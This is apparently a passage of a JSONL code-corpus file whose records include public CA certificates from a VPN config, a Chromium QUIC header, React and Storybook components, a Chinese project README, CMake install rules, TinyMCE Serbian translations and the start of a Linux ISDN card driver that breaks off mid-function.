CERTIFICATE-----\nMIIEpDCCA4ygAwIBAgIJANd2Uwt7SabsMA0GCSqGSIb3DQEBBQUAMIGSMQswCQYD\nVQQGEwJLWTEUMBIGA1UECBMLR3JhbmRDYXltYW4xEzARBgNVBAcTCkdlb3JnZVRv\nd24xFzAVBgNVBAoTDkdvbGRlbkZyb2ctSW5jMRowGAYDVQQDExFHb2xkZW5Gcm9n\nLUluYyBDQTEjMCEGCSqGSIb3DQEJARYUYWRtaW5AZ29sZGVuZnJvZy5jb20wHhcN\nMTAwNDA5MjExOTIxWhcNMjAwNDA2MjExOTIxWjCBkjELMAkGA1UEBhMCS1kxFDAS\nBgNVBAgTC0dyYW5kQ2F5bWFuMRMwEQYDVQQHEwpHZW9yZ2VUb3duMRcwFQYDVQQK\nEw5Hb2xkZW5Gcm9nLUluYzEaMBgGA1UEAxMRR29sZGVuRnJvZy1JbmMgQ0ExIzAh\nBgkqhkiG9w0BCQEWFGFkbWluQGdvbGRlbmZyb2cuY29tMIIBIjANBgkqhkiG9w0B\nAQEFAAOCAQ8AMIIBCgKCAQEA37JesfCwOj69el0AmqwXyiUJ2Bm+q0+eR9hYZEk7\npVoj5dF9RrKirZyCM/9zEvON5z4pZMYjhpzrq6eiLu3j1xV6lX73Hg0dcflweM5i\nqxFAHCwEFIiMpPwOgLV399sfHCuda11boIPE4SRooxUPEju908AGg/i+egntvvR2\nd7pnZl2SCJ1sxlbeAAkYjX6EXmIBFyJdmry1y05BtpdTgPmTlJ0cMj7DlU+2gehP\nss/q6YYRAhrKtlZwxeunc+RD04ieah+boYU0CBZinK2ERRuAjx3hbCE4b0S6eizr\nQmSuGFNu6Ghx+E1xasyl1Tz/fHgHl3P93Jf0tFov7uuygQIDAQABo4H6MIH3MB0G\nA1UdDgQWBBTh9HiMh5RnRVIt/ktXddiGkDkXBTCBxwYDVR0jBIG/MIG8gBTh9HiM\nh5RnRVIt/ktXddiGkDkXBaGBmKSBlTCBkjELMAkGA1UEBhMCS1kxFDASBgNVBAgT\nC0dyYW5kQ2F5bWFuMRMwEQYDVQQHEwpHZW9yZ2VUb3duMRcwFQYDVQQKEw5Hb2xk\nZW5Gcm9nLUluYzEaMBgGA1UEAxMRR29sZGVuRnJvZy1JbmMgQ0ExIzAhBgkqhkiG\n9w0BCQEWFGFkbWluQGdvbGRlbmZyb2cuY29tggkA13ZTC3tJpuwwDAYDVR0TBAUw\nAwEB/zANBgkqhkiG9w0BAQUFAAOCAQEAwihrN0QNE19RRvGywBvsYDmzmM5G8ta5\n8yB+02Mzbm0KuVxnPJaoVy4L4WocAnqLeKfmpYWUid1MPwDPtwtQ00U7QmRBRNLU\nhS6Bth1wXtuDvkRoHgymSvg1+wonJNpv/VquNgwt7XbC9oOjVEd9lbUd+ttxzboI\n8P1ci6+I861PylA0DOv9j5bbn1oE0hP8wDv3bTklEa612zzEVnnfgw+ErVnkrnk8\n8fTiv6NZtHgUOllMq7ymlV7ut+BPp20rjBdOCNn2Q7dNCKIkI45qkwHtXjzFXIxz\nGq3tLVeC54g7XZIc7X0S9avgAE7h9SuRYmsSzvLTtiP1obMCHB5ebQ==\n-----END CERTIFICATE-----\n-----BEGIN CERTIFICATE-----\nMIIGDjCCA/agAwIBAgIJAL2ON5xbane/MA0GCSqGSIb3DQEBDQUAMIGTMQswCQYD\nVQQGEwJDSDEQMA4GA1UECAwHTHVjZXJuZTEPMA0GA1UEBwwGTWVnZ2VuMRkwFwYD\nVQQKDBBHb2xkZW4gRnJvZyBHbWJIMSEwHwYDVQQDDBhHb2xkZW4gRnJvZyBHbWJI\nIFJvb3QgQ0ExIzAhBgkqhkiG9w0BCQEWFGFkbWluQGdvbGRlbmZyb2cuY29tMB4X\nDTE5MTAxNzIwMTQxMFoXDTM5MTAxMjIwMTQxMFowgZMxCzAJBgNVBAYTAkNIMRAw\nDgYDVQQIDAdMdWNlcm5lMQ8wDQYDVQQHDAZNZWdnZW4xGTAXBgNVBAoMEEdvbGRl\nbiBGcm9nIEdtYkgxITAfBgNVBAMMGEdvbGRlbiBGcm9nIEdtYkggUm9vdCBDQTEj\nMCEGCSqGSIb3DQEJARYUYWRtaW5AZ29sZGVuZnJvZy5jb20wggIiMA0GCSqGSIb3\nDQEBAQUAA4ICDwAwggIKAoICAQCtuddaZrpWZ+nUuJpG+ohTquO3XZtq6d4U0E2o\niPeIiwm+WWLY49G+GNJb5aVrlrBojaykCAc2sU6NeUlpg3zuqrDqLcz7PAE4OdNi\nOdrLBF1o9ZHrcITDZN304eAY5nbyHx5V6x/QoDVCi4g+5OVTA+tZjpcl4wRIpgkn\nWznO73IKCJ6YckpLn1BsFrVCb2ehHYZLg7Js58FzMySIxBmtkuPeHQXL61DFHh3c\nTFcMxqJjzh7EGsWRyXfbAaBGYnT+TZwzpLXXt8oBGpNXG8YBDrPdK0A+lzMnJ4nS\n0rgHDSRF0brx+QYk/6CgM510uFzB7zytw9UTD3/5TvKlCUmTGGgI84DbJ3DEvjxb\ngiQnJXCUZKKYSHwrK79Y4Qn+lXu4Bu0ZTCJBje0GUVMTPAvBCeDvzSe0iRcVSNMJ\nVM68d4kD1PpSY/zWfCz5hiOjHWuXinaoZ0JJqRF8kGbJsbDlDYDtVvh/Cd4aWN6Q\n/2XLpszBsG5i8sdkS37nzkdlRwNEIZwsKfcXwdTOlDinR1LUG68LmzJAwfNE47xb\nrZUsdGGfG+HSPsrqFFiLGe7Y4e2+a7vGdSY9qR9PAzyx0ijCCrYzZDIsb2dwjLct\nUx6a3LNV8cpfhKX+s6tfMldGufPI7byHT1Ybf0NtMS1d1RjD6IbqedXQdCKtaw68\nkTX//wIDAQABo2MwYTAdBgNVHQ4EFgQU2EbQvBd1r/EADr2jCPMXsH7zEXEwHwYD\nVR0jBBgwFoAU2EbQvBd1r/EADr2jCPMXsH7zEXEwDwYDVR0TAQH/BAUwAwEB/zAO\nBgNVHQ8BAf8EBAMCAYYwDQYJKoZIhvcNAQENBQADggIBAAViCPieIronV+9asjZy\no5oSZSNWUkWRYdezjezsf49+fwT12iRgnkSEQeoj5caqcOfNm/eRpN4G7jhhCcxy\n9RGF+GurIlZ4v0mChZbx1jcxqr9/3/Z2TqvHALyWngBYDv6pv1iWcd9a4+QL9kj1\nTlp8vUDIcHMtDQkEHnkhC+MnjyrdsdNE5wjlLljjFR2Qy5a6/kWwZ1JQVYof1J1E\nzY6mU7YLMHOdjfmeci5i0vg8+9kGMsc/7Wm69L1BeqpDB3ZEAgmOtda2jwOevJ4s\nABmRoSThFp4DeMcxb62HW1zZCCpgzWv/33+pZdPvnZHSz7RGoxH4Ln7eBf3oo2PM\nlu7wCsid3HUdgkRf2Og1RJIrFfEjb7jga1JbKX2Qo/FH3txzdUimKiDRv3ccFmEO\nqjndUG6hP+7/EsI43oCPYOvZR+u5GdOkhYrDGZlvjXeJ1CpQxTR/EX+Vt7F8YG+i\n2LkO7lhPLb+LzgPAxVPCcEMHruuUlE1BYxxzRMOW4X4kjHvJjZGISxa9lgTY3e0m\nnoQNQVBHKfzI2vGLwvcrFcCIrVxeEbj2dryfByyhZlrNPFbXyf7P4OSfk+fVh6Is\n1IF1wksfLY/6gWvcmXB8JwmKFDa9s5NfzXnzP3VMrNUWXN3G8Eee6qzKKTDsJ70O\nrgAx9j9a+dMLfe1vP5t6GQj5\n-----END CERTIFICATE-----\n</ca>\n"} {"text": "// Copyright 2017 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n\n#ifndef QUICHE_QUIC_TOOLS_QUIC_BACKEND_RESPONSE_H_\n#define QUICHE_QUIC_TOOLS_QUIC_BACKEND_RESPONSE_H_\n\n#include \"net/third_party/quiche/src/quic/tools/quic_url.h\"\n#include \"net/third_party/quiche/src/common/platform/api/quiche_string_piece.h\"\n#include \"net/third_party/quiche/src/spdy/core/spdy_protocol.h\"\n\nnamespace quic {\n\n// Container for HTTP response header/body pairs\n// fetched by the QuicSimpleServerBackend\nclass QuicBackendResponse {\n public:\n // A ServerPushInfo contains path of the push request and everything needed in\n // comprising a response for the push request.\n struct ServerPushInfo {\n ServerPushInfo(QuicUrl request_url,\n spdy::SpdyHeaderBlock headers,\n spdy::SpdyPriority priority,\n std::string body);\n ServerPushInfo(const ServerPushInfo& other);\n\n QuicUrl request_url;\n spdy::SpdyHeaderBlock headers;\n spdy::SpdyPriority priority;\n std::string body;\n };\n\n enum SpecialResponseType {\n REGULAR_RESPONSE, // Send the headers and body like a server should.\n CLOSE_CONNECTION, // Close the connection (sending the close packet).\n IGNORE_REQUEST, // Do nothing, expect the client to time out.\n BACKEND_ERR_RESPONSE, // There was an error fetching the response from\n // the backend, for example as a TCP connection\n // error.\n INCOMPLETE_RESPONSE, // The server will act as if there is a non-empty\n // trailer but it will not be sent, as a result, FIN\n // will not be sent too.\n STOP_SENDING, // Acts like INCOMPLETE_RESPONSE in that the entire\n // response is not sent. After sending what is sent,\n // the server will send a STOP_SENDING.\n GENERATE_BYTES // Sends a response with a length equal to the number\n // of bytes in the URL path.\n };\n QuicBackendResponse();\n\n QuicBackendResponse(const QuicBackendResponse& other) = delete;\n QuicBackendResponse& operator=(const QuicBackendResponse& other) = delete;\n\n ~QuicBackendResponse();\n\n SpecialResponseType response_type() const { return response_type_; }\n const spdy::SpdyHeaderBlock& headers() const { return headers_; }\n const spdy::SpdyHeaderBlock& trailers() const { return trailers_; }\n const quiche::QuicheStringPiece body() const {\n return quiche::QuicheStringPiece(body_);\n }\n\n void set_response_type(SpecialResponseType response_type) {\n response_type_ = response_type;\n }\n\n void set_headers(spdy::SpdyHeaderBlock headers) {\n headers_ = std::move(headers);\n }\n void set_trailers(spdy::SpdyHeaderBlock trailers) {\n trailers_ = std::move(trailers);\n }\n void set_body(quiche::QuicheStringPiece body) {\n body_.assign(body.data(), body.size());\n }\n uint16_t stop_sending_code() const { return stop_sending_code_; }\n void set_stop_sending_code(uint16_t code) { stop_sending_code_ = code; }\n\n private:\n SpecialResponseType response_type_;\n spdy::SpdyHeaderBlock headers_;\n spdy::SpdyHeaderBlock trailers_;\n std::string body_;\n uint16_t stop_sending_code_;\n};\n\n} // namespace quic\n\n#endif // QUICHE_QUIC_TOOLS_QUIC_BACKEND_RESPONSE_H_\n"} {"text": "/**\n * /* eslint-disable wpcalypso/jsx-classname-namespace\n *\n */\n\n/**\n * External dependencies\n */\nimport React from 'react';\nimport { localize } from 'i18n-calypso';\n\n/**\n * Internal dependencies\n */\nimport { CompactCard } from '@automattic/components';\n\nconst ProductListItemPlaceholder = ( { translate } ) => (\n\t<CompactCard className=\"editor-simple-payments-modal__list-item is-placeholder\">\n\t\t<div className=\"editor-simple-payments-modal__list-label\">\n\t\t\t<div>\n\t\t\t\t<span className=\"placeholder-text\">{ translate( 'Loading payment buttons…' ) }</span>\n\t\t\t</div>\n\t\t\t<div>\n\t\t\t\t<span className=\"placeholder-text\">{ '$1000' }</span>\n\t\t\t</div>\n\t\t</div>\n\t</CompactCard>\n);\n\nexport default localize( ProductListItemPlaceholder );\n"} {"text": "# 基本包结构\n\n本节详细说明本项目的基本目录结构\n\n## guns-lite模块\n\nguns-lite包含6个核心模块:\n- guns-admin 一个成熟的后台管理系统,完全具备了后台管理系统的基本功能\n- guns-utils 工具包\n- guns-dao dao层\n- guns-entity 实体层\n- guns-service 服务层\n\n其中guns-admin是一个java web模块\n其他都为java se模块,\n"} {"text": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<selector xmlns:android=\"http://schemas.android.com/apk/res/android\" xmlns:app=\"http://schemas.android.com/apk/res-auto\" xmlns:xliff=\"urn:oasis:names:tc:xliff:document:1.2\" xmlns:aapt=\"http://schemas.android.com/aapt\">\n <item android:state_pressed=\"true\" android:drawable=\"@drawable/a0d\"/>\n <item android:drawable=\"@drawable/aob\"/>\n</selector>\n"} {"text": "int add(int, int);\nint mul(int, int);\nint zero(void)\n{\n return 0;\n}\n\nint f(void)\n{\n int x = add(1, zero());\n int y = 7;\n int z = mul(7, 3);\n\n if (x <= 2 || x > 23)\n z = x + z;\n else\n y = 42;\n\n return y + z;\n}\n\nint add(int a, int b)\n{\n return a + b;\n}\n\nint mul(int a, int b)\n{\n return a * b;\n}\n"} {"text": "/*\n * The libbfio header wrapper\n *\n * Copyright (C) 2010-2016, Joachim Metz <joachim.metz@gmail.com>\n *\n * Refer to AUTHORS for acknowledgements.\n *\n * This software is free software: you can redistribute it and/or modify\n * it under the terms of the GNU Lesser General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This software is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public License\n * along with this software. If not, see <http://www.gnu.org/licenses/>.\n */\n\n#if !defined( _QCOWTOOLS_LIBBFIO_H )\n#define _QCOWTOOLS_LIBBFIO_H\n\n#include <common.h>\n\n/* Define HAVE_LOCAL_LIBBFIO for local use of libbfio\n */\n#if defined( HAVE_LOCAL_LIBBFIO )\n\n#include <libbfio_definitions.h>\n#include <libbfio_file.h>\n#include <libbfio_file_pool.h>\n#include <libbfio_file_range.h>\n#include <libbfio_handle.h>\n#include <libbfio_memory_range.h>\n#include <libbfio_pool.h>\n#include <libbfio_types.h>\n\n#else\n\n/* If libtool DLL support is enabled set LIBBFIO_DLL_IMPORT\n * before including libbfio.h\n */\n#if defined( _WIN32 ) && defined( DLL_IMPORT ) && !defined( HAVE_STATIC_EXECUTABLES )\n#define LIBBFIO_DLL_IMPORT\n#endif\n\n#include <libbfio.h>\n\n#if defined( HAVE_MULTI_THREAD_SUPPORT ) && !defined( LIBBFIO_HAVE_MULTI_THREAD_SUPPORT )\n#error Multi-threading support requires libbfio with multi-threading support\n#endif\n\n#endif /* defined( HAVE_LOCAL_LIBBFIO ) */\n\n#endif /* !defined( _QCOWTOOLS_LIBBFIO_H ) */\n\n"} {"text": "## Copyright 2009-2020 Intel Corporation\n## SPDX-License-Identifier: Apache-2.0\n\nIF (EMBREE_STATIC_LIB)\n INSTALL(TARGETS TBB EXPORT TBB-targets)\n INSTALL(EXPORT TBB-targets DESTINATION ${EMBREE_CMAKEEXPORT_DIR} COMPONENT devel)\nENDIF()\n\nIF (EMBREE_INSTALL_DEPENDENCIES)\n IF (TARGET TBB::tbb)\n GET_TARGET_PROPERTY(LIB_PATH TBB::tbb IMPORTED_LOCATION_RELEASE)\n IF(WIN32)\n INSTALL(FILES ${LIB_PATH} DESTINATION ${CMAKE_INSTALL_BINDIR} COMPONENT examples)\n GET_TARGET_PROPERTY(IMPLIB_PATH TBB::tbb IMPORTED_IMPLIB_RELEASE)\n INSTALL(FILES ${IMPLIB_PATH} DESTINATION ${CMAKE_INSTALL_LIBDIR} COMPONENT lib)\n ELSE()\n INSTALL(FILES ${LIB_PATH} DESTINATION ${CMAKE_INSTALL_LIBDIR} COMPONENT lib)\n ENDIF()\n ELSE()\n MESSAGE(SEND_ERROR \"Target TBB::tbb not found during install.\")\n ENDIF()\nENDIF()\n"} {"text": "/* Localized versions of Info.plist keys */\n\n"} {"text": "tinymce.addI18n('sr',{\n\"Cut\": \"Iseci\",\n\"Header 2\": \"Zaglavlje 2\",\n\"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\\/C\\/V keyboard shortcuts instead.\": \"Va\\u0161 pretra\\u017eiva\\u010d nepodr\\u017eava direktan pristup prenosu.Koristite Ctrl+X\\/C\\/V pre\\u010dice na tastaturi\",\n\"Div\": \"Div\",\n\"Paste\": \"Nalepi\",\n\"Close\": \"Zatvori\",\n\"Font Family\": \"Vrsta fonta\",\n\"Pre\": \"Pre\",\n\"Align right\": \"Poravnano desno\",\n\"New document\": \"Novi dokument\",\n\"Blockquote\": \"Navodnici\",\n\"Numbered list\": \"Numerisana lista\",\n\"Increase indent\": \"Pove\\u0107aj uvla\\u010denje\",\n\"Formats\": \"Formatiraj\",\n\"Headers\": \"Zaglavlje\",\n\"Select all\": \"Obele\\u017ei sve\",\n\"Header 3\": \"Zaglavlje 3\",\n\"Blocks\": \"Blokovi\",\n\"Undo\": \"Nazad\",\n\"Strikethrough\": \"Precrtan\",\n\"Bullet list\": \"Lista nabrajanja\",\n\"Header 1\": \"Zaglavlje 1\",\n\"Superscript\": \"Natpis\",\n\"Clear formatting\": \"Brisanje formatiranja\",\n\"Font Sizes\": \"Veli\\u010dine fontova\",\n\"Subscript\": \"Potpisan\",\n\"Header 6\": \"Zaglavlje 6\",\n\"Redo\": \"Napred\",\n\"Paragraph\": \"Paragraf\",\n\"Ok\": \"Ok\",\n\"Bold\": \"Podebljan\",\n\"Code\": \"Kod\",\n\"Italic\": \"isko\\u0161en\",\n\"Align center\": \"Poravnano centar\",\n\"Header 5\": \"Zaglavlje 5\",\n\"Decrease indent\": \"Smanji uvla\\u010denje\",\n\"Header 4\": \"Zaglavlje 4\",\n\"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.\": \"Nalepiti je sada u obi\\u010dnom text modu.Sadr\\u017eaj \\u0107e biti nalepljen kao obi\\u010dan tekst dok ne ugasite ovu opciju.\",\n\"Underline\": \"Podvu\\u010den\",\n\"Cancel\": \"Opozovi\",\n\"Justify\": \"Poravnanje\",\n\"Inline\": \"U liniji\",\n\"Copy\": \"Kopiraj\",\n\"Align left\": \"Poravnano levo\",\n\"Visual aids\": \"Vizuelna pomagala\",\n\"Lower Greek\": \"Ni\\u017ei gr\\u010dki\",\n\"Square\": \"Kvadrat\",\n\"Default\": \"Podrazumevano\",\n\"Lower Alpha\": \"Donja Alpha\",\n\"Circle\": \"Krug\",\n\"Disc\": \"Disk\",\n\"Upper Alpha\": \"Gornji Alpha\",\n\"Upper Roman\": \"Gornji Roman\",\n\"Lower Roman\": \"Donji Roman\",\n\"Name\": \"Ime\",\n\"Anchor\": \"Sidro\",\n\"You have unsaved changes are you sure you want to navigate away?\": \"Imate nesa\\u010duvane promene dali ste sigurni da \\u017eelite da iza\\u0111ete?\",\n\"Restore last draft\": \"Vrati poslednji nacrt\",\n\"Special character\": \"Specijalni karakter\",\n\"Source code\": \"Izvorni kod\",\n\"Right to left\": \"Sa desne na levu\",\n\"Left to right\": \"Sa leve na desnu\",\n\"Emoticons\": \"Smajliji\",\n\"Robots\": \"Roboti\",\n\"Document properties\": \"Postavke dokumenta\",\n\"Title\": \"Naslov\",\n\"Keywords\": \"Klju\\u010dne re\\u010di\",\n\"Encoding\": \"Kodiranje\",\n\"Description\": \"Opis\",\n\"Author\": \"Autor\",\n\"Fullscreen\": \"Pun ekran\",\n\"Horizontal line\": \"Horizontalna linija\",\n\"Horizontal space\": \"Horizontalni razmak\",\n\"Insert\\/edit image\": \"Ubaci\\/Promeni sliku\",\n\"General\": \"Op\\u0161te\",\n\"Advanced\": \"Napredno\",\n\"Source\": \"Izvor\",\n\"Border\": \"Okvir\",\n\"Constrain proportions\": \"Ograni\\u010dene proporcije\",\n\"Vertical space\": \"Vertikalni razmak\",\n\"Image description\": \"Opis slike\",\n\"Style\": \"Stil\",\n\"Dimensions\": \"Dimenzije\",\n\"Insert image\": \"Ubaci sliku\",\n\"Insert date\\/time\": \"Ubaci datum\\/vreme\",\n\"Remove link\": \"Ukloni link\",\n\"Url\": \"Url\",\n\"Text to display\": \"Tekst za prikaz\",\n\"Anchors\": \"sidro\",\n\"Insert link\": \"Ubaci vezu\",\n\"New window\": \"Novi prozor\",\n\"None\": \"Ni\\u0161ta\",\n\"The URL you entered seems to be an external link. Do you want to add the required http:\\/\\/ prefix?\": \"The URL you entered seems to be an external link. Do you want to add the required http:\\/\\/ prefix?\",\n\"Target\": \"Meta\",\n\"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?\": \"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?\",\n\"Insert\\/edit link\": \"Ubaci\\/promeni vezu\",\n\"Insert\\/edit video\": \"Ubaci\\/promeni video\",\n\"Poster\": \"Poster\",\n\"Alternative source\": \"Alternativni izvor\",\n\"Paste your embed code below:\": \"Nalepite ugra\\u0111eni kod ispod:\",\n\"Insert video\": \"Ubaci video\",\n\"Embed\": \"Ugra\\u0111eno\",\n\"Nonbreaking space\": \"bez ramaka\",\n\"Page break\": \"Lomljenje stranice\",\n\"Paste as text\": \"Nalepi kao tekst\",\n\"Preview\": \"Pregled\",\n\"Print\": \"\\u0160tampanje\",\n\"Save\": \"Sa\\u010duvati\",\n\"Could not find the specified string.\": \"Nije mogu\\u0107e prona\\u0107i navedeni niz.\",\n\"Replace\": \"Zameni\",\n\"Next\": \"Slede\\u0107i\",\n\"Whole words\": \"Cele re\\u010di\",\n\"Find and replace\": \"Na\\u0111i i zameni\",\n\"Replace with\": \"Zameni sa\",\n\"Find\": \"Na\\u0111i\",\n\"Replace all\": \"Zameni sve\",\n\"Match case\": \"Predmet za upore\\u0111ivanje\",\n\"Prev\": \"Prethodni\",\n\"Spellcheck\": \"Provera pravopisa\",\n\"Finish\": \"Kraj\",\n\"Ignore all\": \"Ignori\\u0161i sve\",\n\"Ignore\": \"ignori\\u0161i\",\n\"Insert row before\": \"Ubaci red pre\",\n\"Rows\": \"Redovi\",\n\"Height\": \"Visina\",\n\"Paste row after\": \"Nalepi red posle\",\n\"Alignment\": \"Svrstavanje\",\n\"Column group\": \"Grupa kolone\",\n\"Row\": \"Red\",\n\"Insert column before\": \"Ubaci kolonu pre\",\n\"Split cell\": \"Razdvoji \\u0107elije\",\n\"Cell padding\": \"Razmak \\u0107elije\",\n\"Cell spacing\": \"Prostor \\u0107elije\",\n\"Row type\": \"Tip reda\",\n\"Insert table\": \"ubaci tabelu\",\n\"Body\": \"Telo\",\n\"Caption\": \"Natpis\",\n\"Footer\": \"Podno\\u017eje\",\n\"Delete row\": \"Obri\\u0161i red\",\n\"Paste row before\": \"Nalepi red pre\",\n\"Scope\": \"Obim\",\n\"Delete table\": \"Obri\\u0161i tabelu\",\n\"Header cell\": \"Visina \\u0107elije\",\n\"Column\": \"Kolona\",\n\"Cell\": \"\\u0106elija\",\n\"Header\": \"Zaglavlje\",\n\"Cell type\": \"Tip \\u0107elije\",\n\"Copy row\": \"Kopiraj red\",\n\"Row properties\": \"Postavke reda\",\n\"Table properties\": \"Postavke tabele\",\n\"Row group\": \"Grupa reda\",\n\"Right\": \"Desno\",\n\"Insert column after\": \"Ubaci kolonu posle\",\n\"Cols\": \"Kolone\",\n\"Insert row after\": \"Ubaci red posle\",\n\"Width\": \"\\u0160irina\",\n\"Cell properties\": \"Postavke \\u0107elije\",\n\"Left\": \"Levo\",\n\"Cut row\": \"Iseci red\",\n\"Delete column\": \"Obri\\u0161i kolonu\",\n\"Center\": \"Centar\",\n\"Merge cells\": \"Spoji \\u0107elije\",\n\"Insert template\": \"Ubaci \\u0161ablon\",\n\"Templates\": \"\\u0160abloni\",\n\"Background color\": \"Boja pozadine\",\n\"Text color\": \"Boja tekst\",\n\"Show blocks\": \"Prikaz blokova\",\n\"Show invisible characters\": \"Prika\\u017ei nevidljive karaktere\",\n\"Words: {0}\": \"Re\\u010di:{0}\",\n\"Insert\": \"Umetni\",\n\"File\": \"Datoteka\",\n\"Edit\": \"Ure\\u0111ivanje\",\n\"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help\": \"Oboga\\u0107en tekst. Pritisni te ALT-F9 za meni.Pritisnite ALT-F10 za traku sa alatkama.Pritisnite ALT-0 za pomo\\u0107\",\n\"Tools\": \"Alatke\",\n\"View\": \"Prikaz\",\n\"Table\": \"Tabela\",\n\"Format\": \"Format\"\n});"} {"text": "import { storiesOf } from '@storybook/react'\nimport React from 'react'\nimport Box from 'ui-box'\nimport { Heading } from '../../typography'\nimport { InlineAlert, Alert } from '..'\n\nstoriesOf('alert', module)\n .add('Alert', () => (\n <div>\n <Box padding={40}>\n {(() => {\n document.body.style.margin = '0'\n document.body.style.height = '100vh'\n })()}\n {['default', 'card'].map(appearance => (\n <Box key={appearance} float=\"left\" marginRight={40}>\n <Heading marginBottom={16}>{appearance}</Heading>\n <Alert\n appearance={appearance}\n marginBottom={32}\n title=\"A simple general message\"\n />\n <Alert\n appearance={appearance}\n marginBottom={32}\n intent=\"success\"\n title=\"Hooray! You did it. Your Source is now sending data.\"\n />\n <Alert\n appearance={appearance}\n marginBottom={32}\n intent=\"warning\"\n title=\"Changes will affect all Warehouses.\"\n />\n <Alert\n appearance={appearance}\n marginBottom={32}\n intent=\"danger\"\n title=\"We weren’t able to save your changes.\"\n />\n </Box>\n ))}\n </Box>\n <Box padding={40}>\n {['default', 'card'].map(appearance => (\n <Box key={appearance} float=\"left\" marginRight={40}>\n <Heading marginBottom={16}>{appearance}</Heading>\n <Alert\n appearance={appearance}\n marginBottom={32}\n title=\"A simple general message\"\n >\n Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do\n eiusmod tempor incididunt ut labore et dolore magna aliqua.\n </Alert>\n <Alert\n appearance={appearance}\n marginBottom={32}\n intent=\"success\"\n title=\"Hooray! You did it. Your Source is now sending data.\"\n >\n Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do\n eiusmod tempor incididunt ut labore et dolore magna aliqua.\n </Alert>\n <Alert\n appearance={appearance}\n marginBottom={32}\n intent=\"warning\"\n title=\"Changes will affect all Warehouses.\"\n >\n Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do\n eiusmod tempor incididunt ut labore et dolore magna aliqua.\n </Alert>\n <Alert\n appearance={appearance}\n marginBottom={32}\n intent=\"danger\"\n title=\"We weren’t able to save your changes.\"\n >\n Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do\n eiusmod tempor incididunt ut labore et dolore magna aliqua.\n </Alert>\n </Box>\n ))}\n </Box>\n </div>\n ))\n .add('InlineAlert', () => (\n <Box padding={40}>\n {(() => {\n document.body.style.margin = '0'\n document.body.style.height = '100vh'\n })()}\n\n <Box float=\"left\" marginRight={40}>\n <Heading size={600} marginBottom={16}>\n InlineAlert component\n </Heading>\n <InlineAlert intent=\"success\" marginBottom={16}>\n Hooray! You did it. Your Source is now sending data.\n </InlineAlert>\n <InlineAlert intent=\"warning\" marginBottom={16}>\n Changes will affect all Warehouses.\n </InlineAlert>\n <InlineAlert intent=\"danger\" marginBottom={16}>\n We weren’t able to save your changes.\n </InlineAlert>\n <InlineAlert intent=\"none\" marginBottom={16}>\n There are over 200 integrations available.\n </InlineAlert>\n </Box>\n </Box>\n ))\n"} {"text": "/* $Id: teleint.c,v 1.16.2.5 2004/01/19 15:31:50 keil Exp $\n *\n * low level stuff for TeleInt isdn cards\n *\n * Author Karsten Keil\n * Copyright by Karsten Keil <keil@isdn4linux.de>\n *\n * This software may be used and distributed according to the terms\n * of the GNU General Public License, incorporated herein by reference.\n *\n */\n\n#include <linux/init.h>\n#include \"hisax.h\"\n#include \"isac.h\"\n#include \"hfc_2bs0.h\"\n#include \"isdnl1.h\"\n\nstatic const char *TeleInt_revision = \"$Revision: 1.16.2.5 $\";\n\n#define byteout(addr, val) outb(val, addr)\n#define bytein(addr) inb(addr)\n\nstatic inline u_char\nreadreg(unsigned int ale, unsigned int adr, u_char off)\n{\n\tregister u_char ret;\n\tint max_delay = 2000;\n\n\tbyteout(ale, off);\n\tret = HFC_BUSY & bytein(ale);\n\twhile (ret && --max_delay)\n\t\tret = HFC_BUSY & bytein(ale);\n\tif (!max_delay) {\n\t\tprintk(KERN_WARNING \"TeleInt Busy not inactive\\n\");\n\t\treturn (0);\n\t}\n\tret = bytein(adr);\n\treturn (ret);\n}\n\nstatic inline void\nreadfifo(unsigned int ale, unsigned int adr, u_char off, u_char *data, int size)\n{\n\tregister u_char ret;\n\tregister int max_delay = 20000;\n\tregister int i;\n\n\tbyteout(ale, off);\n\tfor (i = 0; i < size; i++) {\n\t\tret = HFC_BUSY & bytein(ale);\n\t\twhile (ret && --max_delay)\n\t\t\tret = HFC_BUSY & bytein(ale);\n\t\tif (!max_delay) {\n\t\t\tprintk(KERN_WARNING \"TeleInt Busy not inactive\\n\");\n\t\t\treturn;\n\t\t}\n\t\tdata[i] = bytein(adr);\n\t}\n}\n\n\nstatic inline void\nwritereg(unsigned int ale, unsigned int adr, u_char off, u_char data)\n{\n\tregister u_char ret;\n\tint max_delay = 2000;\n\n\tbyteout(ale, off);\n\tret = HFC_BUSY & bytein(ale);\n\twhile (ret && --max_delay)\n\t\tret = HFC_BUSY & bytein(ale);\n\tif (!max_delay) {\n\t\tprintk(KERN_WARNING \"TeleInt Busy not inactive\\n\");\n\t\treturn;\n\t}\n\tbyteout(adr, data);\n}\n\nstatic inline void\nwritefifo(unsigned int ale, unsigned int adr, u_char off, u_char *data, int size)\n{\n\tregister u_char ret;\n\tregister int max_delay = 20000;\n\tregister int i;\n\n\tbyteout(ale, off);\n\tfor (i = 0; i < size; i++) {\n\t\tret = HFC_BUSY & bytein(ale);\n\t\twhile (ret && --max_delay)\n\t\t\tret = HFC_BUSY & bytein(ale);\n\t\tif (!max_delay) {\n\t\t\tprintk(KERN_WARNING \"TeleInt Busy not inactive\\n\");\n\t\t\treturn;\n\t\t}\n\t\tbyteout(adr, data[i]);\n\t}\n}\n\n/* Interface functions */\n\nstatic u_char\nReadISAC(struct IsdnCardState *cs, u_char offset)\n{\n\tcs->hw.hfc.cip = offset;\n\treturn (readreg(cs->hw.hfc.addr | 1, cs->hw.hfc.addr, offset));\n}\n\nstatic void\nWriteISAC(struct IsdnCardState *cs, u_char offset, u_char value)\n{\n\tcs->hw.hfc.cip = offset;\n\twritereg(cs->hw.hfc.addr | 1, cs->hw.hfc.addr, offset, 